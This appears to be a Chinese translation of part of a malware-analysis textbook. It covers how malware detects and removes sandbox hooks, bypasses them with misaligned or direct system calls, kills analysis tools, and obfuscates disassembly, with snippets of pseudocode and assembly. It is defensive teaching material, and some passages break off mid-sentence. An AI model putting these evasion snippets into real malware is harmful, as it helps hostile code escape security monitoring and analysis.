在执行目标函数之前,恶意软件可以检查沙盒是否已修改该函数的代码,试图对其进行钩取。为此,恶意软件调用 ReadProcessMemory 或 NtReadVirtualMemory 来读取可疑函数所在的内存,然后检查该函数的前几个字节。恶意软件会留意函数开头插入的异常跳转指令,这明显是钩取的迹象,正如以下伪代码所示:
handle = GetModuleHandle("ntdll.dll")
functionAddress = GetProcAddress(handle, "NtAllocateVirtualMemory")
ReadProcessMemory(GetCurrentProcess(), functionAddress, buffer, bufferSize, &bytesRead)
if (buffer[0] == 0xE9)
{
// Function hooked
return true
}
该恶意软件的代码首先获取 ntdll.dll 的句柄以及 NtAllocateVirtualMemory 的地址。然后,代码调用 ReadProcessMemory 来检查 NtAllocateVirtualMemory 函数的第一个字节。如果第一个字节是跳转指令(十六进制 E9),则恶意软件假定 NtAllocateVirtualMemory 被钩住,并且正在被沙箱或分析工具监控。
我们将在稍后的 “执行不对齐的函数调用” 一节中再次讨论此技术,见 第 140 页。
钩子移除(解除钩住)
在检测到钩子后,恶意软件样本可以尝试通过恢复原始数据来移除它。恶意软件可以通过几种方式尝试做到这一点。
首先,恶意软件可以手动卸载它认为已加载到其进程地址空间中的任何可疑模块(注入的钩子 DLL)。一旦检测到异常模块,它可以调用 FreeLibrary 函数。FreeLibrary 的参数是恶意软件希望卸载的库模块句柄。
恶意软件实现卸载的一个可能更好的方法是手动重新加载看似已被钩住的 Windows 库。恶意软件可以扫描其已加载的库,以寻找钩子模块的迹象,一旦检测到钩子,它可以卸载该 DLL(使用如 FreeLibrary 等函数),然后从磁盘重新加载一个未被钩住的全新库。这有效地移除了沙箱或分析工具安装的任何函数钩子。
另外,一旦恶意软件检测到某个函数被钩住,它可以简单地将原始代码写入该函数,替换跳转到钩子代码的指令。为了解除内联钩子,恶意软件可以简单地删除函数中的钩住字节(跳转指令),或者用其他内容覆盖它们,正如以下伪代码所示:
handle = GetModuleHandle("ntdll.dll")
functionAddress = GetProcAddress(handle, "NtAllocateVirtualMemory")
VirtualProtect(functionAddress, size, PAGE_EXECUTE_READWRITE, &oldProtect)
memcpy(functionAddress, "\x4c\x8b\xd1\xb8", 4)
VirtualProtect(functionAddress, size, oldProtect, &newOldProtect)
在这段代码中,恶意软件获取它希望解除钩子的库和函数的地址(GetProcAddress),在此例中是 NtAllocateVirtualMemory,然后调用 VirtualProtect 来准备对该函数进行修改,通过赋予它执行、读取和写入权限。接着,恶意软件复制(memcpy)四个字节(\x4c\x8b\xd1\xb8)到目标函数代码的开头。这些字节是标准的、未钩住的原始字节,在沙箱钩住之前,目标函数中会包含这些字节。最后,恶意软件再次调用 VirtualProtect 来将内存权限恢复为原始设置。
一些沙箱意识到恶意软件可能会尝试解除其已安装的函数钩子,并会对此保持警觉。类似于恶意软件扫描其进程内存以寻找钩子的迹象,沙箱可以定期检查它们的钩子是否仍然存在,如果没有,则进行替换。或者,沙箱可能会监控恶意软件解除钩子的行为,例如监控调用 ReadProcessMemory、WriteProcessMemory、memcpy、FreeLibrary 等函数的行为。
接下来,让我们讨论恶意软件绕过沙箱钩子的一种更微妙的方法:钩子规避。
钩子规避
与钩子移除不同,钩子规避绕过或完全防止钩子的使用。钩子规避技术的例子包括以非正常方式调用 Windows 函数和手动加载代码库(从而绕过正常的库加载过程)。由于一些沙箱能够检测到其钩子是否被移除或更改,因此这些方法可能更不容易被发现,并且更难以检测。
执行未对齐的函数调用
在未对齐的函数调用中,恶意软件通过跳过沙盒钩子代码间接调用函数,有效地完全绕过了它。通常,恶意软件会通过使用调用指令(call ReadFile)来调用 Windows API 函数,如ReadFile。该指令会跳转到ReadFile函数的开头(在kernel32.dll模块内)并执行此代码。然而,如果ReadFile函数已被沙盒钩住,则钩子代码会先执行,如本章前面所讨论的那样。在以下代码中,一个钩子已经被注入到该函数中:
0x77000000 jmp hook_code
0x77000005 // Start of real ReadFile code
要实现一个未对齐的函数调用,恶意软件可以通过执行指令jmp 0x77000005(或像jmp 0x77000000 + 0x5那样将 5 个字节添加到基址)直接跳转到地址0x77000005,而不是正常调用ReadFile。这样做会跳过在0x77000000的钩子jmp语句,直接执行从0x77000005开始的真实ReadFile代码。
这里需要注意的一点是,恶意软件必须显式指定函数地址,这意味着它必须事先知道该地址。恶意软件可以通过调用GetProcAddress来获取该地址,如下所示的简化汇编代码所示:
`--snip--`
call GetProcAddress
mov address, eax
cmp [address], 0E9h
je skip_hook
`--snip--`
skip_hook:
lea eax, [address+5]
jmp eax
恶意软件示例调用GetProcAddress来获取所需目标函数的地址,然后将该值存储在address中(mov address, eax)。该地址指向函数的开始,恶意软件在此处检查是否有钩子。接下来,恶意软件将该地址处的代码与十六进制值0E9h(jmp的汇编操作码之一)进行比较。如果存在此操作码,代码将跳转到skip_hook函数,后者会将目标函数地址加上 5 个字节,并将此最终地址的指针存储在 EAX 中(lea eax, [address+5])。最后,代码跳转到这个新地址(jmp eax),绕过钩子。
调用低级和不常用的函数
为了绕过沙箱和分析工具中的钩子行为,一些恶意软件调用低级的本地 API 函数,试图避开那些更常见的被钩住的高级调用。例如,恶意软件可以直接调用NtProtectVirtualMemory函数,而不是调用VirtualProtect,以尝试绕过后者的任何钩子。
或者,恶意软件甚至可以直接向内核发起系统调用,绕过正常的 WinAPI 调用程序。我们在第一章中讨论了系统调用。某些沙箱可能不会监视直接进入内核的调用,这可能会在这些沙箱的分析报告中留下盲点。由于这也是一种绕过终端防御的技术,我们将在第十三章中详细讨论这一话题。
由于自动化沙箱和某些恶意软件分析工具会钩住或监控常见的 Windows 函数,恶意软件也可能使用不常见的函数作为绕过钩子的策略。Windows API 包含大量函数,几乎涵盖了程序可能执行的每一项任务,因此不可避免地会有很少使用的和几乎重复的函数。例如,SHEnumKeyEx函数与RegEnumKey非常相似,也可以用于枚举注册表键,但它的使用频率远低于后者。因此,SHEnumKeyEx可能会受到自动化沙箱和分析人员较少关注,当恶意软件使用它来阻止钩子行为时,可能会被忽视。
不幸的是,由于 Windows API 非常庞大,列出所有这些较少使用的函数几乎是不可能的。然而,在调查恶意软件和研究任何不熟悉的 API 调用时,记住这一策略是非常重要的。
手动加载库并调用函数
恶意软件还可以手动加载 Windows 库,而不是依赖标准的 Windows 加载器。正如你在第一章中回顾到的,Windows 应用程序加载库的标准方法是使用诸如LoadLibrary等函数。LoadLibrary函数将请求的库映射到内存中,提供快速且简便的加载过程,操作系统负责所有繁重的工作。简单性带来的缺点是,沙箱和其他分析工具可以轻松地在此库中实现钩子,拦截函数调用。
为了绕过这一点,恶意软件可以通过使用NtMapViewOfSection手动将库文件映射到其进程地址空间中,如下所示的简化伪代码所示:
file_name = "C:\Windows\System32\Ntdll.dll"
NtCreateFile(file_handle, ..., file_name, ... )
NtCreateSection(section_handle, ..., file_handle)
NtMapViewOfSection(section_handle, process_handle, ...)
在这个例子中,恶意软件使用NtCreateFile来获取文件C:\Windows\System32\Ntdll.dll的句柄,这是它希望加载的库。接下来,恶意软件使用NtCreateSection创建一个段对象,并引用先前获得的文件句柄。段对象是可以与其他进程共享的内存区块,它提供了一种将文件映射到内存区域的方法。在创建段对象后,恶意软件使用NtMapViewOfSection将ntdll.dll文件映射到该段对象中。process_handle变量表示目标进程,文件将被映射到该进程中。在这种情况下,就是恶意软件自身的进程。
另一种类似的方法是从磁盘读取文件,而不是将其映射到内存中。为了从磁盘读取ntdll.dll,恶意软件可以调用ReadFile(或NtReadFile)并将目标文件名作为参数传递。使用这两种方法之一,一旦库被映射或读取到内存中,恶意软件就可以通过跳转到或调用目标库中的地址来执行其预定功能。请注意,这些方法“开箱即用”时并不起作用,恶意软件还需要进行一些额外的工作,例如正确定位它希望调用的 DLL 中的函数偏移量。
编写自定义函数
最后,恶意软件作者可能选择完全重写 Windows 函数,并将其包含在恶意软件样本中,以避免钩子技术。这通常是最难实施的钩子绕过技术;许多因素会影响其实现,并且修改后的函数必须与受害主机的操作系统完美兼容。在实践中,看到这种恶意软件方法的情况相对较少。
反钩子工具集
也有一些专门为反钩子目的而编写的工具。其中一个例子是名为 anticuckoo 项目(https://
恶意软件分析是一场猫捉老鼠的游戏。进攻性安全研究人员和恶意软件作者不断想出新的方法来检测和规避钩子,因此恶意软件分析师和沙盒开发者必须不断适应。例如,Cuckoo 沙盒的作者实现了几种反反钩子技术,例如通过限制内存保护修改来防止钩子被覆盖。许多其他商业沙盒也实现了类似的功能。
规避沙盒分析
由于沙盒是自动化的,它们容易受到元层面的规避策略的影响,所谓元层面是指沙盒产品本身的层级,而不是它的实现或底层操作系统。例如,某些沙盒对提交的文件大小有限制,因此恶意软件作者可以简单地人为地增加恶意软件文件的大小来规避这些限制。其他沙盒则无法处理某些文件类型或脚本。现在越来越常见的是,恶意文件通过加密的电子邮件发送,解密密码在邮件正文中。最终用户可能会高兴地输入密码,解密文件并运行恶意软件,但沙盒在这方面就非常困难了!
此外,一些沙盒在监控某些文件类型时存在问题。截止目前,许多商业和开源沙盒并未完全支持 Microsoft .NET,这是一个跨平台的 Windows 开发框架。由于.NET 实现了与本地 Windows 和 NT API 函数不同的自定义函数,这些沙盒可能会遗漏有关恶意软件行为和功能的重要细节。
这些只是一些示例,实际上还有许多其他方法可以欺骗沙箱,使其根本无法执行恶意软件。在分析自动化沙箱中的恶意软件时,请牢记这一点,并始终注意这些规避技术。评估沙箱产品是否符合您的需求,在部署到您的环境中之前也是至关重要的。
破坏手动调查
本章讨论的技术至今主要集中在规避沙箱环境,但恶意软件也可以直接干扰手动分析。例如,第四章描述了恶意软件如何枚举主机上运行的进程,以便检测沙箱环境、虚拟机或分析工具。然而,除了检测这些工具之外,一些恶意软件还可以主动终止它们。
为了终止目标进程,恶意软件可以通过使用 CreateToolhelp32Snapshot、Process32First 和 Process32Next 来遍历进程树,正如你在第四章中看到的那样。然后,恶意软件可以调用 OpenProcess 来获取目标进程的句柄,接着调用 TerminateProcess。以下汇编代码示例演示了恶意软件样本如何终止远程进程:
`--snip--`
push [ebp+dwProcessId] ; PID of "wireshark.exe"
push 0 ; bInheritHandle
push 0x1 ; dwDesiredAccess
call OpenProcess
mov [ebp+ProcessHandle], eax
xor eax, eax
`--snip--`
push [ebp+ProcessHandle]
call TerminateProcess
在此代码片段中,恶意软件通过 OpenProcess 调用,传入表示目标进程(此例中为 wireshark.exe)的 processID 参数、InheritHandle 值(在此不重要)和 dwDesiredAccess 值(即恶意软件进程请求的进程访问权限)。在此,恶意软件请求的访问权限是 1(十六进制表示为 0x1),这等同于 PROCESS_TERMINATE,允许调用进程(恶意软件)终止另一个进程(wireshark.exe)。当然,Wireshark 这里只是一个示例。如果恶意软件拥有正确的权限,它可以查询并终止任何进程。
注意
有时,在启动恶意软件分析工具之前重命名其可执行文件,可以欺骗采用这种方法的简单恶意软件。例如,重命名 wireshark.exe 为 krahseriw.exe 可能会防止恶意软件“看到”这个进程,从而避免其被终止。然而,这个解决方案并不适用于所有情况。
恶意软件可以使用的另一种战术是迷惑分析员。我调查过的一个有趣恶意软件样本创建了一个目录在 C:\Users<user>\AppData\Local\Temp 下。恶意软件将该目录命名为一个随机生成的数字(例如 21335493),并将其功能所需的临时文件写入其中。为了保护该目录,恶意软件不断枚举所有打开的窗口,特别查找包含该临时目录名称的窗口,并在匹配时发出“杀死”请求,关闭该窗口。
这是该技术应用的简化伪代码示例:
windows[] = EnumWindows()
for (i = 0; i < windows[].length; i++) {
window_text = GetWindowText(windows[i])
if (windows_text == "21335493") {
PostMessage(windows[i], WM_CLOSE)
}
}
这个恶意软件样本使用EnumWindows来枚举所有桌面窗口,然后循环检查所有窗口标题文本,使用GetWindowText,查找21335493。如果代码找到包含此文本的窗口,恶意软件调用PostMessage函数,并使用WM_CLOSE参数,强制该窗口关闭。现在,如果恶意软件分析员尝试在例如文件资源管理器中打开21335493临时目录,它将在分析员检查其内容之前自动关闭。
这两个例子只是皮毛。 从第十章开始,我将讨论恶意软件作者可以在其代码中实现的其他有趣措施,以混淆和阻碍手动分析。
虚拟机管理程序漏洞和虚拟机逃逸
本章中我们将讨论的最后一种技术可能是终极的沙箱和虚拟机逃避手段:利用虚拟机管理程序本身或完全逃逸出它。虽然恶意软件中很少见到这种手段,但在实际应用中偶尔会出现这种技术的使用,并且在 VMware 和 VirtualBox 等产品中也发现了一些漏洞。一个著名的例子是 Cloudburst,它是 Immunity Inc.于 2009 年开发的一个漏洞,影响了某些版本的 VMware 虚拟机管理程序。播放一个特别制作的视频文件在 Windows 虚拟机中会利用 VMware 显示功能中的缺陷,可能会允许在主机操作系统上执行代码。
大多数已知的虚拟机管理程序漏洞并不直接允许在主机上执行代码,这意味着完全“逃脱”沙箱环境的可能性较小。例如,其中一些漏洞允许写入文件到主机或可能从主机读取文件,但它们不会允许恶意文件或代码在主机上执行。此外,在写本文时,所有这些已发现并报告的漏洞已经被各自的虚拟机管理程序供应商修复。只要你——恶意软件分析员——在已更新并修补过的虚拟机管理程序上引爆恶意软件,从理论上讲,你的主机系统是安全的。
注意
我在这里说“理论上”是因为,始终存在零日漏洞和超管理程序代码中未知、未报告的漏洞,恶意软件可能会利用这些漏洞。在分析恶意软件时总是存在风险,但我相信任何风险都被其带来的好处所抵消。在附录 A 中,我们将讨论你可以采取的几个步骤,确保你在最安全的环境中工作。
规避对策
如前所述,恶意软件作者和恶意软件研究人员之间存在一场猫捉老鼠的游戏:作者发明了一种新型技术来检测或绕过分析工具和沙箱,而分析师和防御安全研究人员则不断适应。一个很好的例子就是自动化分析沙箱的发展。许多现代沙箱已经实施了针对过去几章中提到的检测和规避战术的对策。
沙箱可以提醒恶意软件分析师检测和规避尝试,提供了解恶意软件内部的窗口,使分析师能够做出适当的响应。你可以通过将进程附加到调试器,设置在有趣的函数调用处设置断点,并在调试器或反汇编器中修改恶意软件代码来手动规避许多此类技术。这些函数调用可以被nop掉、跳过或修改(通过操控函数参数或返回值,如第三章所述)。最后,许多技术可以通过正确配置你的虚拟机和超管理程序来规避。我将在附录 A 中讨论如何做到这一点。
总结
本章概述了恶意软件在检测到自己被监控时,可能使用的避开沙箱、虚拟机环境和分析工具的方法。在第三部分,你将基于这些知识进一步探讨恶意软件如何利用反反汇编技术干扰反汇编工具,检测并规避像调试器这样的动态代码分析工具,以及误导恶意软件分析师。
第三部分 防逆向工程
第十章:9 反汇编防护

由于反汇编器基于自己的(通常非常复杂的)算法将二进制文件分解为汇编代码,因此有一定的误差空间。恶意软件作者意识到这一漏洞,并能够积极利用它。他们可能还会试图模糊恶意软件的控制流、字符串和 API 函数调用引用,使得代码在静态分析时特别难以理解。这些都是 反汇编防护 技术的例子,或者说是恶意软件通过反汇编器逆向工程代码时所采取的复杂化手段。在本章中,我们将深入探讨这些策略以及恶意软件分析师如何应对这些问题。
破坏反汇编器
反汇编器基于自己硬编码的逻辑和假设来解释文件,这意味着它们可能会以不同且有时是问题重重的方式解读字节。代码可能会被错误地反汇编为数据,或者反之,字节也可能会被加到错误的指令上,从而产生完全新的错误指令。
作为示例,字节 e8 8c 45 0a 90 可以被反汇编为一个调用指令。如果去掉第一个字节(e8),将会得到一个完全不同的反汇编指令。在这种常见的反汇编防护方法中,称为 流氓字节 技术,恶意软件中插入流氓字节以混淆反汇编过程。例如,考虑以下代码片段:
`--snip--`
00402100 b8 00 00 00 00 mov eax, 0x00
00402105... 85 c0 test eax, eax
00402107... 74 01 jz loc_402109 + 1
loc_402109:
00402109 e8 8b 45 0a 90 call 0x900a4590
`--snip--`
在右侧列中,你可以看到几个反汇编指令,构成这些指令的字节在中间列,地址偏移量则在左侧列。这些反汇编指令没有太大意义。例如,有一个条件跳转指令(jz),它的目标是 loc_402109 + 1。由于在 jz 指令之前有一个 mov 指令将 eax 设置为 0,这个跳转将始终发生,但代码会跳转到下一个指令的 第二个 字节(字节 8b)。代码中还包含一个调用指令,指向一个在此可执行文件中根本不存在的地址,因为我们的可执行文件位于 0x00402xxx 地址范围内,而不是 0x900xxxxx 范围内。让我们更仔细地看看。
正如第三章所解释的,反汇编器并不总是能区分代码和数据。这意味着,当它将字节转换为代码时,这段代码实际上可能是数据,反之亦然。构成 call 0x900a4590 指令的字节是 e8 8b 45 0a 90。第一个字节 e8 在 x86 汇编指令集中表示调用指令。如果我们去掉这个字节,剩下的就是 8b 45 0a 90。这串字节在 x86 汇编中等价于以下代码:
mov eax, [ebp+10]
nop
这里我们有一条 mov 指令(将存储在栈上的值从 ebp+10 移动到 eax),后面跟着一条 nop 指令。与我们最初的调用指令 (call 0x900a4590) 相比,这段代码更有意义。因此,似乎第一个字节 (e8) 是一个伪造的字节,它被添加到代码中只是为了混淆反汇编工具。
你可以通过覆盖不正确的代码或数据来处理这个问题。在 IDA 中,你可以按 C 和 D 键(C 用于将数据转换为代码,D 用于将代码转换为数据)。在 Ghidra 中,恰恰相反,令人困惑的是;按 C 进行将代码转换为数据(在此情况下 C 代表“清除代码字节”),按 D 进行将数据转换为代码(D 代表“反汇编”)。
如果你在 IDA 中选择这个虚假的调用指令并按 D,这条指令会被拆解成数据,如下所示:
`--snip--`
00402100 mov eax, 0x00
00402105 test eax, eax
00402107 jz loc_402109 + 1
00402109 loc_402109:
1 00402109 db E8h
0040210A db 8Bh
0040210B db 45h
0040210C db 0Ah
0040210D db 90h
`--snip--`
注意到曾经是代码的部分现在变成了数据字节,从❶开始。现在,如果你选择从偏移量 0040210A 开始的字节值(小心不要选择 e8 字节),一直选择到 0040210D,然后按 C 将其转换为代码,你将得到以下内容:
`--snip--`
00402100 mov eax, 0x00
00402105 test eax, eax
00402107 jz loc_402109 + 1
00402109 loc_402109:
00402109 db E8h
0040210A mov eax, [ebp+10]
0040210D nop
`--snip--`
恶意软件将0x00移动到eax(为了将eax清零),然后使用条件跳转(jz);如前所述,代码将始终执行这个跳转。然而,现在代码跳过了那个恶意字节(e8),而执行了mov和nop指令。这个恶意软件样本巧妙地插入了恶意字节,以欺骗反汇编器,使其认为它是原始调用指令的一部分!
这是一个相当简单的反反汇编方法示例,但它是常见的。这给反汇编器和逆向工程师带来了挑战。当你遇到像这样代码明显错误或没有意义的情况时,可以尝试手动将代码转换为数据字节,或者将某些字节转换为代码。这可能帮助你修复代码,从而更好地理解它。### 控制流混淆
接下来的反反汇编方法是控制流混淆,即向恶意软件代码中添加不必要的复杂性,使其更加难以静态分析。这种类型的混淆也会让反汇编器感到困惑,可能无法正确反汇编代码。
为了添加这种类型的混淆,恶意软件作者使用专门为此目的设计的代码混淆器,或恶意软件打包器,我们将在第十七章中详细讨论。让我们深入了解一些常见的控制流混淆方法。在本节的最后,我们将讨论几种应对这些策略的一般方法。
不必要的跳转
恶意软件作者可能会添加不必要的跳转语句,将恶意软件的代码分割成更小的块(见图 9-1)。

图 9-1:不必要的跳转指令
图 9-1 中的代码曾经是一个单一块,但混淆器将其分成了多个块,每个块通过跳转语句连接到下一个块。从功能上讲,代码是相同的,但现在逆向工程师将更难理解和跟踪它。这个例子相当基础,但混淆器可以使代码变得极为复杂,正如你在接下来的几节中将看到的那样。
混淆器还可以使代码频繁地前后跳转,以增加顺序跟踪的难度,正如在这个例子中所示:
`--snip--`
push 300h
jmp loc_402B20
`--snip--`
loc_402A30:
call Sleep
jmp loc_402B65
`--snip--`
loc_402B20:
pop ebx
jmp loc_402A30
`--snip--`
loc_402B65:
push ecx
`--snip--`
这段代码会跳转到不同的区域,仅仅是为了制造混淆。它首先跳转到loc_402B20,然后回到loc_402A30,再回到loc_402B65,从而创建一个难以跟踪的代码流逻辑。
不必要的代码
恶意软件作者可以向其恶意软件中添加其他类型的不必要代码。例如,他们可能创建代码块或函数的副本,这些副本实际上是相同的,或者至少非常相似,以便代码可以互换执行,从而导致相同的最终代码块,如图 9-2 所示。

图 9-2:可互换的代码块
这不会影响恶意软件的行为,但会增加逆向工程师的复杂性。
另外,恶意软件作者和混淆器可以添加永远不会被执行的虚假代码,这些代码仅存在于混淆分析人员、浪费 CPU 周期并拖慢分析过程。由于这些代码的具体内容可以是任何形式的,因此很难提供具体示例,但以下代码片段演示了这一技巧:
`--snip--`
inc ecx
push ecx
dec ecx
push ecx
`--snip--`
这段代码只是将ecx寄存器增加 1,将该值推入栈中,再减少 1,并将该值推入栈中。显然,这段代码没有实际的有效目的。
控制流平坦化
控制流平坦化是一种通过将一系列条件代码块压缩为一个块来混淆控制流的方法。通常是通过 switch 语句来实现控制流的引导。图 9-3 展示了应用控制流平坦化前的程序。

图 9-3:应用控制流平坦化前的程序
该程序代表正常的、未混淆的代码。在标记为❶的代码块中,有一个条件语句会跳转到两个位置之一(代码块❷或❸)。如果该程序通过控制流平坦化算法处理后,它可能看起来更像图 9-4。

图 9-4:应用控制流平坦化后的程序
在图 9-3 中,代码块❶负责条件语句,决定跳转到代码块❷或❸。在扁平化的代码中,一个中央调度代码块❶负责条件语句,同时跟踪代码接下来应该“流向”哪里。调度器将控制流引导到一个代码块后,控制会返回到调度器,由它进一步引导控制流。调度器增加了反汇编代码的复杂性,使得分析师更难理解代码的目的以及接下来执行的路径。
不透明谓词
一个不透明谓词(见图 9-5)是一个在程序运行时对程序或反汇编工具不可知,但对程序作者已知的值。程序的创建者(在我们这个例子中,是恶意软件作者)知道某个表达式会产生特定的值,例如,但我们作为反向工程师或我们的反汇编工具对此一无所知。

图 9-5:不透明谓词的实际应用
这段代码可以根据表达式 1 == 2(不透明谓词)决定走哪条路径。恶意软件作者已经知道程序将选择右侧分支,但分析师和反汇编器必须手动分析逻辑才能得出这一结论。显然,这是一个简化的例子,几乎任何人都能破译它。然而,恶意软件作者可以将不透明谓词设计得极其复杂,例如,在运行时计算复杂的数学函数。
这种技术也可以与之前提到的技术结合使用,比如添加不必要的代码。恶意软件作者可以在左分支中加入大量永远不会被执行的垃圾代码。反向工程师必须在分析程序的其余部分之前理解不透明谓词,以避免在垃圾代码上浪费时间。不透明谓词很难处理,正如前面所提到的,它可以是恶意软件作者希望的任何复杂程度。通常,处理这些问题的最佳方法是通过调试器逐步执行恶意软件,这样可以帮助揭示真正的控制流。
返回指针滥用
混淆控制流的另一种方式是使用返回(ret)指令。例如,如果一个程序执行函数 B,当它到达该函数的末尾时,函数 B 会发出一个
push returnAddress
`--snip--`
ret
该代码发出一个
恶意软件可以滥用返回指针的工作方式,以复制
SEH 处理程序滥用
恶意软件还可以利用结构化异常处理程序(SEH),它存储了一系列地址,用于处理 Windows 应用程序中的异常。当应用程序触发异常时,它的控制流会转移到存储在 SEH 中的一个地址。
恶意软件可以通过创建一个指向恶意代码的新异常处理程序来滥用 SEH。当恶意软件故意在其代码中引发异常时,控制流将被转移到异常处理程序引用的代码。作为结果,分析人员需要知道恶意软件在哪里建立了异常处理程序,以及异常处理程序指向哪里,以便正确地逆向工程代码。考虑以下示例:
`--snip--`
mov eax, evil.429D8C
push eax
push dword ptr fs:[0]
mov dword ptr fs:[0], esp
`--snip--`
这个代码块的重点是fs:[0],它基本上指向当前的异常处理程序。恶意软件将默认的异常处理程序代码替换为指向恶意代码的指针(evil.429D8C)。一旦恶意软件触发异常,代码的控制流将被转移到地址evil.429D8C。由于此处没有使用jmp、ret或call指令,这种控制流转移可能会让未经训练的眼睛难以跟踪,因此要留意引用fs:[0]的代码。通常,这之后会看到一个div指令,这可能表示恶意软件正在尝试引发一个除零异常。我们将在第十一章中进一步讨论 SEH 和这个特定的代码块。
函数指针滥用
如你所见,典型的控制流转移到一个新函数时,会涉及跳转(jump)或调用(call)指令。然而,狡猾的恶意软件可以通过引入函数指针来模糊这些指令,如下所示:
`--snip--`
mov [ebp+var_26], offset sub_4511D5
call [ebp+var_26]
`--snip--`
这个恶意软件样本将函数sub_4511D5的偏移地址移入栈上的一个变量var_26中。然后,它使用一个调用指令并引用var_26变量,该变量包含它希望调用的目标函数的地址(sub_4511D5)。
这是一种简单的技术,但你可能会看到它在静态分析过程中可能引起混淆。要克服这种技术,你需要定位可疑的调用指令,并向后查找代码,直到你能够识别出被引用的函数指针中存储的内容。然而,恶意软件作者可以使这种混淆技术变得更加复杂。例如,它可以在不同的变量之间传递函数偏移量,这会使分析人员很难识别调用的目标函数。通过调试器分析此类代码可以帮助你更好地理解发生了什么。
控制流混淆对策
本章只概述了几种最常见的控制流混淆技术,但你可以通过一些方法克服它们。首先,你可以使用在“破解反汇编器”中描述的相同方法,参见第 152 页。如果你发现一些代码不可能或根本没有意义,尝试将其转化为数据。这可能帮助你发现异常情况,例如异常字节。反之亦然:如果你发现数据异常或大量数据出现在代码之间,尝试将数据转化为代码并重新评估。这一个小技巧可能帮助你绕过许多简单的反汇编技术。
其次,逐步调试代码可以带来很大的不同;它通常能使理解代码和控制流程变得更加容易。调试器可以与反汇编器一起使用,你可以在自己不完全理解的代码地址上设置调试器断点。例如,如果你在代码中发现一个异常字节,调试器可以帮助你理解可能发生的情况。一些恶意软件分析师喜欢使用带有内置调试器的反汇编器(如 IDA Pro),就是为了这个原因,但分开的反汇编器和调试器也能做到这一点。我通常将 x64dbg 与 Ghidra 或 IDA 配合使用。
第三,你可以尝试识别恶意软件所使用的混淆器。例如,工具如 Detect It Easy(DIE)和 Exeinfo PE 会尝试识别可能的混淆器和压缩工具(详见第十七章)。一旦你识别出混淆器或压缩工具,研究它的工作原理可能会给你一些启示,帮助你反向破解,甚至可能找到现成的去混淆工具!一些工具试图通用地去混淆代码并移除部分复杂性,但根据我的经验,它们通常效果不佳,可能会留下漏洞或误解代码。最后,不同的反汇编器在反汇编代码时会有一些差异。例如,如果你主要使用 IDA,可以尝试 Ghidra 或其他反汇编器,看看是否能获得更容易理解的结果。
最终,应对反汇编防护需要对汇编语言的知识和经验,而这种经验是无可替代的。学习汇编语言(x86、x64 或针对你正在反向分析的恶意软件类型)并不断提高这项技能,能帮助你更快地识别恶意软件采用的反汇编防护和代码混淆技术。
API 调用和字符串混淆
在本节中,你将学习恶意软件如何混淆其 Windows API 函数调用和字符串,以隐藏其意图,从而避开分析师的检测。
注意
本节概述了专门用于反汇编和防止静态分析的混淆技术,但第十六章涵盖了更通用的混淆技术。API 调用和字符串混淆也可以用于绕过端点防御,如规避反恶意软件软件,但第四部分将更深入地讨论这个话题。
动态 API 函数解析
动态 API 函数解析 是指程序动态获取其希望调用的函数的地址,而不是将该函数包含在其导入地址表(IAT)中。Windows API 函数 GetProcAddress 可以协助实现这一点。GetProcAddress 检索给定模块中函数的过程地址,它需要两个参数:目标函数所在模块的句柄,以及目标函数本身的名称。有时,GetProcAddress 会在调用 LoadLibrary 之后进行,后者会加载包含目标函数的模块。让我们来看一下实际操作:
`--snip--`
push ecx ; "kernel32.dll"
call LoadLibraryA
push eax
push edx ; "IsDebuggerPresent"
call GetProcAddress
call eax
`--snip--`
这个恶意软件样本首先将包含目标函数的模块名称(在本例中为kernel32.dll)推送到栈上,并调用 LoadLibraryA,它将该库加载到进程的地址空间中。LoadLibraryA 返回一个指向kernel32.dll模块的句柄,该句柄被存储在 eax 寄存器中,然后被推送到栈上(push eax)。接下来,代码将目标函数的名称 IsDebuggerPresent 推送到栈上并调用 GetProcAddress。调用 GetProcAddress 返回目标函数的地址并将其存储在 eax 中。最后,恶意软件执行一个调用指令,目标为 eax,这将随之调用 IsDebuggerPresent。如您所见,这项技术为函数调用增加了一层混淆。
跳转表和间接 API 调用
API 调用可以通过跳转表进行混淆,跳转表是映射外部库地址的数据结构。跳转表既可以用来混淆控制流,也可以阻碍静态代码分析。图 9-6 展示了跳转表如何在实际操作中表现。

图 9-6:跳转表的实际应用
在这个简化的示例中,恶意软件的主代码向不同的地址发出call指令,这些地址表示恶意软件希望调用的 Windows API 函数。然后,恶意软件的代码将控制流转移到跳转表,该跳转表实际上是一个进一步的call指令的列表,使用GetProcAddress来获取目标 Windows API 函数的过程地址,接着调用该函数。例如,当恶意软件希望调用WriteFile时,它会调用sub_2082A2B0,该函数跳转到跳转表,进而获取在kernel32.dll库中WriteFile的地址。
跳转表可以像这里展示的那样简单,只有一个call指令的列表:
sub_JumpTable:
call sub_2052B2A0 ; jumps to code that further invokes WriteFile
call sub_2052B2B0 ; jumps to code that further invokes ReadFile
call sub_2052B2C0 ; jumps to code that further invokes IsDebuggerPresent
`--snip--`
跳转表中的 API 函数可以在恶意软件首次执行时动态解析(从而动态构建表格),也可以在恶意软件需要时按需调用,这意味着函数地址是按需解析的。这为跳转表增加了进一步的复杂性,使得逆向工程师更难追踪代码。
恶意软件还可以使用间接的 API 调用。与跳转表类似,API 函数的地址是动态解析的,并存储在内存或 CPU 寄存器中以供后续使用。然后,恶意软件通过调用该函数地址而不是函数名来调用该函数。你可以在下面的 64 位简化代码示例中看到这一点:
`--snip--`
mov rcx, hModule ; "advapi32.dll"
mov rdx, "CryptEncrypt"
call GetProcAddress
mov [rbp-39], rax
mov rcx, hModule ; "advapi32.dll"
mov rdx, "CryptDecrypt"
call GetProcAddress
mov [rbp-35], rax
mov rcx, hModule ; "kernel32.dll"
mov rdx, "WriteFile"
call GetProcAddress
mov [rbp-31], rax
`--snip--`
这段代码使用间接调用来混淆它的函数调用。首先,它将目标函数的名称(它希望调用的函数,CryptEncrypt)移入 rdx,以及相关模块名(hModule),在这些函数的情况下,模块名位于 kernel32.dll 中。接下来,代码调用 GetProcAddress 获取 CryptEncrypt 函数的地址。然后,代码将该地址移入栈中(mov [rbp-39], rax),以便稍后使用。代码再运行此过程两次,分别针对函数 CryptDecrypt 和 WriteFile。在将目标函数的地址存储到栈上后,代码可以通过这些地址像这样调用这些函数:
call [rbp-39]
这个调用指令将会调用存储在栈上 rbp-39 处的函数,而这个函数恰好是 CryptEncrypt,一个用于加密数据的函数。以这种方式调用函数为手动逆向工程的研究人员提供了一层混淆。
栈字符串
栈字符串 指的是恶意软件在内存中动态构建的栈上的字符串。它们为恶意可执行文件增加了一层混淆,使静态分析变得更加耗时,如下所示:
`--snip--`
mov [ebp+file], 65h
